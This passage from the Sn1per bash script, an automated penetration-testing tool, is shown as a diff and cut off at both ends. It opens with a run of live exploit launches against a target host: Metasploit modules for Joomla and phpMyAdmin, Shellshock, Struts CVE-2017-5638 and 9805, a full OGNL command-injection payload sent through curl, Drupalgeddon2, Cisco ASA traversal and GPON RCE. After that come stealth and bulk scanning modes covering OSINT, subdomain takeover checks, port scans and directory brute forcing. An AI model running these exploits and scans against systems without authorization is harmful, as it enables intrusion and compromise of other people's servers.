INJECTION METASPLOIT EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - msfconsole -x "use unix/webapp/joomla_comfields_sqli_rce; setg RHOST \"$TARGET\"; set RPORT "$PORT"; set SSL true; run; back; exit;" - - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING PHPMYADMIN METASPLOIT EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - msfconsole -x "use exploit/multi/http/phpmyadmin_3522_backdoor; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; setg RPORT "$PORT"; run; use exploit/unix/webapp/phpmyadmin_config; run; use multi/http/phpmyadmin_preg_replace; run; exit;" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING SHELLSHOCK EXPLOIT SCAN $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - python $PLUGINS_DIR/shocker/shocker.py -H $TARGET --cgilist $PLUGINS_DIR/shocker/shocker-cgi_list --port $PORT - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING APACHE STRUTS 2 CVE-2017-5638 $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - python $INSTALL_DIR/bin/apache_struts_cve-2017-5638.py -u https://$TARGET:$PORT - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING APACHE STRUTS 2 CVE-2017-9805 $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - python $INSTALL_DIR/bin/apache_struts_cve-2017-9805.py -u https://$TARGET:$PORT - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING APACHE JAKARTA RCE EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - curl -s -H "Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" https://$TARGET:$PORT | head -n 1 - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING DRUPALGEDDON2 CVE-2018-7600 $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - ruby $INSTALL_DIR/bin/drupalgeddon2.rb https://$TARGET:$PORT - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING CISCO ASA TRAVERSAL CVE-2018-0296 $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - python $INSTALL_DIR/bin/cisco-asa-traversal.py https://$TARGET:$PORT - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING JEXBOSS $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - cd /tmp/ - python /usr/share/sniper/plugins/jexboss/jexboss.py -u https://$TARGET:$PORT - cd $INSTALL_DIR - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING GPON ROUTER EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - python $INSTALL_DIR/bin/gpon_rce.py https://$TARGET:$PORT 'whoami' - - if [ $SCAN_TYPE == "DOMAIN" ] && [ $OSINT == "1" ]; - then - if [ -z $GHDB ]; - then - if [ $OSINT == "0" ]; then - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED SKIPPING GOOGLE HACKING QUERIES $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - else - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING GOOGLE HACKING QUERIES $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - goohak $TARGET > /dev/null - fi - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING INURLBR OSINT QUERIES $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - php $INURLBR --dork "site:$TARGET" -s inurlbr-$TARGET.txt - rm -Rf output/ cookie.txt exploits.conf - fi - fi - fi - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED SCAN COMPLETE! $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - rm -f $INSTALL_DIR/.fuse_* 2> /dev/null - if [ "$LOOT" = "1" ]; then - loot - fi - exit -fi - -# STEALTH MODE ##################################################################################################### -if [ "$MODE" = "stealth" ]; then - if [ "$REPORT" = "1" ]; then - args="-t $TARGET" - if [ "$OSINT" = "1" ]; then - args="$args -o" - fi - if [ "$AUTOBRUTE" = "1" ]; then - args="$args -b" - fi - if [ "$FULLNMAPSCAN" = "1" ]; then - args="$args -fp" - fi - if [ "$GOOHAK" = "1" ]; then - args="$args -g" - fi - if [ "$RECON" = "1" ]; then - args="$args -re" - fi - if [ ! -z "$WORKSPACE" ]; then - args="$args -w $WORKSPACE" - LOOT_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE - echo -e "$OKBLUE[*] Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET" - mkdir -p $LOOT_DIR 2> /dev/null - mkdir $LOOT_DIR/domains 2> /dev/null - mkdir $LOOT_DIR/screenshots 2> /dev/null - mkdir $LOOT_DIR/nmap 2> /dev/null - mkdir $LOOT_DIR/notes 2> /dev/null - mkdir $LOOT_DIR/reports 2> /dev/null - mkdir $LOOT_DIR/output 2> /dev/null - fi - args="$args --noreport -m stealth" - sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +%Y%m%d%H%M`.txt 2>&1 - exit - fi - echo -e "$OKRED ____ $RESET" - echo -e "$OKRED _________ / _/___ ___ _____$RESET" - echo -e "$OKRED / ___/ __ \ / // __ \/ _ \/ ___/$RESET" - echo -e "$OKRED (__ ) / / // // /_/ / __/ / $RESET" - echo -e "$OKRED /____/_/ /_/___/ .___/\___/_/ $RESET" - echo -e "$OKRED /_/ $RESET" - echo -e "$RESET" - echo -e "$OKORANGE + -- --=[http://xerosecurity.com" - echo -e "$OKORANGE + -- --=[sniper v$VER by 1N3" - echo -e "$OKRED " - echo -e "$OKRED ./\." - echo -e "$OKRED ./ '\." - echo -e "$OKRED \. '\." - echo -e "$OKRED '\. '\." - echo -e "$OKRED '\. '\." - echo -e "$OKRED '\. '\." - echo -e "$OKRED ./ '\." - echo -e "$OKRED ./ ____'\." - echo -e "$OKRED ./ < '\." - echo -e "$OKRED \-------\ '> '\." - echo -e "$OKRED '\=====> ___< '\." - echo -e "$OKRED ./-----/ __________'\." - echo -e "$OKRED "' \.------\ _____ ___(_)(_\."\' - echo -e "$OKRED '\=====> < ./'" - echo -e "$OKRED ./-----/ '> ./" - echo -e "$OKRED \. ___< ./" - echo -e "$OKRED '\. ./" - echo -e "$OKRED '\. ./" - echo -e "$OKRED '\. ./" - echo -e "$OKRED ./ ./" - echo -e "$OKRED ./ ./ Carl Pilcher" - echo -e "$OKRED ./ ./" - echo -e "$OKRED ./ ./" - echo -e "$OKRED ./ ./" - echo -e "$OKRED \. ./" - echo -e "$OKRED '\. ./" - echo -e "$OKRED '\/" - echo -e "$RESET" - echo -e "$OKORANGE + -- --=[Launching stealth scan: $TARGET $RESET" - echo -e "$OKGREEN $RESET" - - echo "$TARGET" >> $LOOT_DIR/domains/targets.txt - - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED GATHERING DNS INFO $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - dig all +short $TARGET > $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null - dig all +short -x $TARGET >> $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null - dnsenum $TARGET 2> /dev/null - mv -f *_ips.txt $LOOT_DIR/domains/ 2>/dev/null - - if [ $SCAN_TYPE == "DOMAIN" ]; - then - if [ "$OSINT" = "1" ]; then - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED GATHERING OSINT INFO $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - theharvester -d $TARGET -l 25 -b all 2> /dev/null - metagoofil -d $TARGET -t doc,pdf,xls,csv,txt -l 25 -n 25 -o $LOOT_DIR/osint/ -f $LOOT_DIR/osint/$TARGET.html - fi - - if [ "$RECON" = "1" ]; then - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED GATHERING WHOIS INFO $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - whois $TARGET - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED GATHERING DNS SUBDOMAINS VIA SUBLIST3R $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - if [ "$SUBLIST3R" = "1" ]; then - python $PLUGINS_DIR/Sublist3r/sublist3r.py -d $TARGET -vvv -o $LOOT_DIR/domains/domains-$TARGET.txt 2>/dev/null - fi - if [ "$AMASS" = "1" ]; then - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED GATHERING DNS SUBDOMAINS VIA AMASS $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - amass -whois -ip -brute -o $LOOT_DIR/domains/domains-$TARGET-amass.txt -min-for-recursive 3 -d $TARGET 2>/dev/null - cut -d, -f1 $LOOT_DIR/domains/domains-$TARGET-amass.txt | grep $TARGET > $LOOT_DIR/domains/domains-$TARGET-amass-sorted.txt - cut -d, -f2 $LOOT_DIR/domains/domains-$TARGET-amass.txt > $LOOT_DIR/domains/domains-$TARGET-amass-ips-sorted.txt - fi - if [ "$SUBFINDER" = "1" ]; then - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED GATHERING DNS SUBDOMAINS VIA SUBFINDER $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - subfinder -o $LOOT_DIR/domains/domains-$TARGET-subfinder.txt -b -w $DOMAINS_DEFAULT -d $TARGET 2>/dev/null - fi - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED BRUTE FORCING DNS SUBDOMAINS VIA DNSCAN (THIS COULD TAKE A WHILE...) $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - if [ "$DNSCAN" = "1" ]; then - python3 $PLUGINS_DIR/dnscan/dnscan.py -d $TARGET -w $DOMAINS_FULL -o $LOOT_DIR/domains/domains-dnscan-$TARGET.txt -i $LOOT_DIR/domains/domains-ips-$TARGET.txt - cat $LOOT_DIR/domains/domains-dnscan-$TARGET.txt | grep $TARGET| awk '{print $3}' | sort -u >> $LOOT_DIR/domains/domains-$TARGET.txt 2> /dev/null - dos2unix $LOOT_DIR/domains/domains-$TARGET.txt 2>/dev/null - fi - echo "" - if [ "$CRTSH" = "1" ]; then - echo -e "$OKRED ╔═╗╦═╗╔╦╗╔═╗╦ ╦$RESET" - echo -e "$OKRED ║ ╠╦╝ ║ ╚═╗╠═╣$RESET" - echo -e "$OKRED ╚═╝╩╚═ ╩o╚═╝╩ ╩$RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED GATHERING CERTIFICATE SUBDOMAINS $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKBLUE" - curl -s https://crt.sh/?q=%25.$TARGET > /tmp/curl.out && cat /tmp/curl.out | grep $TARGET | grep TD | sed -e 's///g' | sed -e 's/TD//g' | sed -e 's/\///g' | sed -e 's/ //g' | sed -n '1!p' | sort -u > $LOOT_DIR/domains/domains-$TARGET-crt.txt && cat $LOOT_DIR/domains/domains-$TARGET-crt.txt - echo "" - echo -e "${OKRED}[+] Domains saved to: $LOOT_DIR/domains/domains-$TARGET-full.txt" - fi - cat $LOOT_DIR/domains/domains-$TARGET-crt.txt > /tmp/curl.out 2> /dev/null - cat $LOOT_DIR/domains/domains-$TARGET.txt >> /tmp/curl.out 2> /dev/null - cat $LOOT_DIR/domains/domains-$TARGET-amass-sorted.txt >> /tmp/curl.out 2> /dev/null - cat $LOOT_DIR/domains/domains-$TARGET-subfinder.txt >> /tmp/curl.out 2> /dev/null - cat $LOOT_DIR/domains/targets.txt >> /tmp/curl.out 2> /dev/null - sort -u /tmp/curl.out > $LOOT_DIR/domains/domains-$TARGET-full.txt - rm -f /tmp/curl.out 2> /dev/null - echo -e "$RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED CHECKING FOR EMAIL SECURITY $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - python $PLUGINS_DIR/spoofcheck/spoofcheck.py $TARGET | tee $LOOT_DIR/nmap/dns-$TARGET-email.txt 2>/dev/null - echo "" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED STARTING DOMAIN FLYOVER $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - aquatone-discover -d $TARGET -t 100 --wordlist $PLUGINS_DIR/Sublist3r/subdomains.lst | tee $LOOT_DIR/nmap/aquatone-$TARGET-discover.txt 2>/dev/null - aquatone-takeover -d $TARGET -t 100 | tee $LOOT_DIR/nmap/aquatone-$TARGET-takeovers.txt 2>/dev/null - aquatone-scan -d $TARGET -t 100 -p80,443 | tee $LOOT_DIR/nmap/aquatone-$TARGET-ports.txt 2>/dev/null - aquatone-gather -d $TARGET -t 100 | tee $LOOT_DIR/nmap/aquatone-$TARGET-gather.txt 2>/dev/null - mkdir -p $LOOT_DIR/aquatone/ 2> /dev/null - cp -Rf ~/aquatone/$TARGET $LOOT_DIR/aquatone/ - echo "" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED CHECKING FOR SUBDOMAIN HIJACKING $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - dig $TARGET CNAME | egrep -i "wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|cloudfront|modulus|unbounce|uservoice|wpengine|cloudapp" | tee $LOOT_DIR/nmap/takeovers-$TARGET.txt 2>/dev/null - for a in `cat $LOOT_DIR/domains/domains-$TARGET-full.txt`; do dig $a CNAME | egrep -i "wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|cloudfront|modulus|unbounce|uservoice|wpengine|cloudapp" | tee $LOOT_DIR/nmap/takeovers-$a.txt 2>/dev/null; done; - if [ "$SUBOVER" = "1" ]; then - subover -l $LOOT_DIR/domains/domains-$TARGET-full.txt | tee $LOOT_DIR/nmap/takeovers-$TARGET-subover.txt 2>/dev/null - fi - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED STARTING PUBLIC S3 BUCKET SCAN $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - cd $PLUGINS_DIR/slurp/ - ./slurp-linux-amd64 domain --domain $TARGET | tee $LOOT_DIR/nmap/takeovers-$TARGET-s3-buckets.txt 2>/dev/null - fi - cd $INSTALL_DIR - echo "" - fi - echo "" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING TCP PORT SCAN $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - nmap -sS -T5 --open -Pn -p $DEFAULT_PORTS $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml | tee $LOOT_DIR/nmap/nmap-$TARGET.txt - - port_80=`grep 'portid="80"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` - port_443=`grep 'portid="443"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` - - if [ -z "$port_80" ]; - then - echo -e "$OKRED + -- --=[Port 80 closed... skipping.$RESET" - else - echo -e "$OKORANGE + -- --=[Port 80 opened... running tests...$RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED CHECKING FOR WAF $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - wafw00f http://$TARGET | tee $LOOT_DIR/web/waf-$TARGET-http 2> /dev/null - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/waf-$TARGET-http > $LOOT_DIR/web/waf-$TARGET-http.txt 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED GATHERING HTTP INFO $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - whatweb -a 3 http://$TARGET | tee $LOOT_DIR/web/whatweb-$TARGET-http 2> /dev/null - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/whatweb-$TARGET-http > $LOOT_DIR/web/whatweb-$TARGET-http.txt 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED GATHERING SERVER INFO $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - python3 $PLUGINS_DIR/wig/wig.py -d -q -t 50 http://$TARGET | tee $LOOT_DIR/web/wig-$TARGET-http - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wig-$TARGET-http > $LOOT_DIR/web/wig-$TARGET-http.txt 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED CHECKING HTTP HEADERS AND METHODS $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - wget -qO- -T 1 --connect-timeout=3 --read-timeout=3 --tries=1 http://$TARGET | perl -l -0777 -ne 'print $1 if /\s*(.*?)\s*<\/title/si' >> $LOOT_DIR/web/title-http-$TARGET.txt 2> /dev/null - curl --connect-timeout 3 --max-time 3 -I -s -R http://$TARGET | tee $LOOT_DIR/web/headers-$TARGET-http.txt 2> /dev/null - if [ "$PASSIVE_SPIDER" = "1" ]; then - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING PASSIVE WEB SPIDER $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2018-22-index?url=*.$TARGET&output=json" | jq -r .url | sort -u | tee $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null - fi - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET -w $WEB_BRUTE_QUICK -x 400,403,404,405,406,429,502,503,504 -F -e php,asp,aspx,bak,zip,tar.gz,html,htm - cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* 2> /dev/null - cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* > $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null - wget http://$TARGET/robots.txt -O $LOOT_DIR/web/robots-$TARGET-http.txt 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED SAVING SCREENSHOTS $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - if [ ${DISTRO} == "blackarch" ]; then - /bin/CutyCapt --url=http://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port80.jpg --insecure --max-wait=1000 2> /dev/null - else - cutycapt --url=http://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port80.jpg --insecure --max-wait=1000 2> /dev/null - fi - fi - - if [ -z "$port_443" ]; - then - echo -e "$OKRED + -- --=[Port 443 closed... skipping.$RESET" - else - echo -e "$OKORANGE + -- --=[Port 443 opened... running tests...$RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED CHECKING FOR WAF $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - wafw00f https://$TARGET | tee $LOOT_DIR/web/waf-$TARGET-https 2> /dev/null - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/waf-$TARGET-https > $LOOT_DIR/web/waf-$TARGET-https.txt 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED GATHERING HTTP INFO $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - whatweb -a 3 https://$TARGET | tee $LOOT_DIR/web/whatweb-$TARGET-https 2> /dev/null - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/whatweb-$TARGET-https > $LOOT_DIR/web/whatweb-$TARGET-https.txt 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED GATHERING SERVER INFO $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - python3 $PLUGINS_DIR/wig/wig.py -d -q -t 50 https://$TARGET | tee $LOOT_DIR/web/wig-$TARGET-https - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wig-$TARGET-https > $LOOT_DIR/web/wig-$TARGET-https.txt 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED CHECKING HTTP HEADERS AND METHODS $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - wget -qO- -T 1 --connect-timeout=3 --read-timeout=3 --tries=1 https://$TARGET | perl -l -0777 -ne 'print $1 if /\s*(.*?)\s*<\/title/si' >> $LOOT_DIR/web/title-https-$TARGET.txt 2> /dev/null - curl --connect-timeout 3 --max-time 3 -I -s -R https://$TARGET | tee $LOOT_DIR/web/headers-$TARGET-https.txt 2> /dev/null - if [ "$PASSIVE_SPIDER" = "1" ]; then - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING PASSIVE WEB SPIDER $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2018-22-index?url=*.$TARGET&output=json" | jq -r .url | sort -u | tee $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null - fi - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET -w $WEB_BRUTE_QUICK -x 400,403,404,405,406,429,502,503,504 -F -e php,asp,aspx,bak,zip,tar.gz,html,htm - cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* 2> /dev/null - cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* > $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null - wget https://$TARGET/robots.txt -O $LOOT_DIR/web/robots-$TARGET-https.txt 2> /dev/null - if [ "$SSL" = "1" ]; then - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED GATHERING SSL/TLS INFO $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - sslyze --resum --certinfo=basic --compression --reneg --sslv2 --sslv3 --hide_rejected_ciphers $TARGET | tee $LOOT_DIR/web/sslyze-$TARGET.txt 2> /dev/null - sslscan --no-failed $TARGET | tee $LOOT_DIR/web/sslscan-$TARGET.raw 2> /dev/null - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/sslscan-$TARGET.raw > $LOOT_DIR/web/sslscan-$TARGET.txt 2> /dev/null - fi - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED SAVING SCREENSHOTS $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - if [ ${DISTRO} == "blackarch" ]; then - /bin/CutyCapt --url=https://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port443.jpg --insecure --max-wait=1000 2> /dev/null - else - cutycapt --url=https://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port443.jpg --insecure --max-wait=1000 2> /dev/null - fi - echo -e "$OKRED[+]$RESET Screenshot saved to $LOOT_DIR/screenshots/$TARGET-port443.jpg" - fi - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED SCAN COMPLETE! $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "" - echo -e "" - echo -e "" - echo -e "" - echo -e "" - echo -e "" - echo -e "" - echo -e "" - echo -e "" - echo -e "" - echo -e "" - echo -e "" - echo -e "" - echo -e "" - echo -e "" - rm -f $INSTALL_DIR/.fuse_* 2> /dev/null - if [ "$LOOT" = "1" ]; then - loot - fi - exit -fi - -# AIRSTRIKE MODE ##################################################################################################### -if [ "$MODE" = "airstrike" ]; then - if [ -z "$FILE" ]; then - logo - echo "You need to specify a list of targets (ie. -f ) to scan." - exit - fi - if [ "$REPORT" = "1" ]; then - for a in `cat $FILE`; - do - if [ "$AUTOBRUTE" = "1" ]; then - args="$args -b" - fi - if [ "$FULLNMAPSCAN" = "1" ]; then - args="$args -fp" - fi - if [ "$OSINT" = "1" ]; then - args="$args -o" - fi - if [ "$RECON" = "1" ]; then - args="$args -re" - fi - if [ ! -z "$WORKSPACE" ]; then - args="$args -w $WORKSPACE" - WORKSPACE_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE - echo -e "$OKBLUE[*] Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET" - mkdir -p $WORKSPACE_DIR 2> /dev/null - mkdir $WORKSPACE_DIR/domains 2> /dev/null - mkdir $WORKSPACE_DIR/screenshots 2> /dev/null - mkdir $WORKSPACE_DIR/nmap 2> /dev/null - mkdir $WORKSPACE_DIR/notes 2> /dev/null - mkdir $WORKSPACE_DIR/reports 2> /dev/null - mkdir $WORKSPACE_DIR/output 2> /dev/null - fi - args="$args -m stealth --noreport --noloot" - TARGET="$a" - args="$args -t $TARGET" - echo -e "$OKRED |" - echo -e "$OKRED | |" - echo -e "$OKRED | -/_\-" - echo -e "$OKRED -/_\- ______________(/ . \)______________" - echo -e "$OKRED ____________(/ . \)_____________ \___/ <>" - echo -e "$OKRED <> \___/ <> <>" - echo -e "$OKRED " - echo -e "$OKRED ||" - echo -e "$OKRED <>" - echo -e "$OKRED ||" - echo -e "$OKRED <>" - echo -e "$OKRED ||" - echo -e "$OKRED || BIG" - echo -e "$OKRED _____ __ <> (^)))^ BOOM!" - echo -e "$OKRED BOOM!/(( )\ BOOM!(( ))) ( ( )" - echo -e "$OKRED ---- (__()__)) (() ) )) ( ( ( )" - echo -e "$OKRED || |||____|------ \ (/ ___ (__\ /__)" - echo -e "$OKRED |__||| | |---|---|||___| |___-----|||||" - echo -e "$OKRED | ||. | | | ||| |||||" - echo -e "$OKRED |__||| | |---|---|||___| |___-----|||||" - echo -e "$OKRED | ||. | | | ||| |||||" - echo -e "$OKRED __________________________________________________________" - echo -e "$OKRED Bomb raid (contributed by Michael aka SNOOPY@DRYCAS.CLUB.CC.CMU.EDU)" - echo -e "$RESET" - if [ ! -z "$WORKSPACE_DIR" ]; then - sniper $args | tee $WORKSPACE_DIR/output/sniper-$TARGET-$MODE-`date +%Y%m%d%H%M`.txt 2>&1 - else - sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +%Y%m%d%H%M`.txt 2>&1 - fi - args="" - done - fi - if [ "$LOOT" = "1" ]; then - loot - fi - exit -fi - -# FULLPORTONLY MODE -if [ "$MODE" = "fullportonly" ]; then - - if [ "$REPORT" = "1" ]; then - args="-t $TARGET" - if [ ! -z "$WORKSPACE" ]; then - args="$args -w $WORKSPACE" - LOOT_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE - echo -e "$OKBLUE[*] Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET" - mkdir -p $LOOT_DIR 2> /dev/null - mkdir $LOOT_DIR/domains 2> /dev/null - mkdir $LOOT_DIR/screenshots 2> /dev/null - mkdir $LOOT_DIR/nmap 2> /dev/null - mkdir $LOOT_DIR/notes 2> /dev/null - mkdir $LOOT_DIR/reports 2> /dev/null - mkdir $LOOT_DIR/output 2> /dev/null - fi - args="$args --noreport -m fullportonly" - sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +%Y%m%d%H%M`.txt 2>&1 - exit - fi - - logo - echo "$TARGET" >> $LOOT_DIR/domains/targets.txt - if [ -z "$PORT" ]; then - nmap -Pn -A -v -T4 -p$DEFAULT_TCP_PORTS $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml | tee $LOOT_DIR/nmap/nmap-$TARGET.txt - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED PERFORMING UDP PORT SCAN $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - nmap -Pn -sU -A -T4 -v -p$DEFAULT_UDP_PORTS $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET-udp.xml - else - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED PERFORMING TCP PORT SCAN $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - nmap -Pn -A -v -T4 -p $PORT $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml | tee $LOOT_DIR/nmap/nmap-$TARGET.txt - echo -e 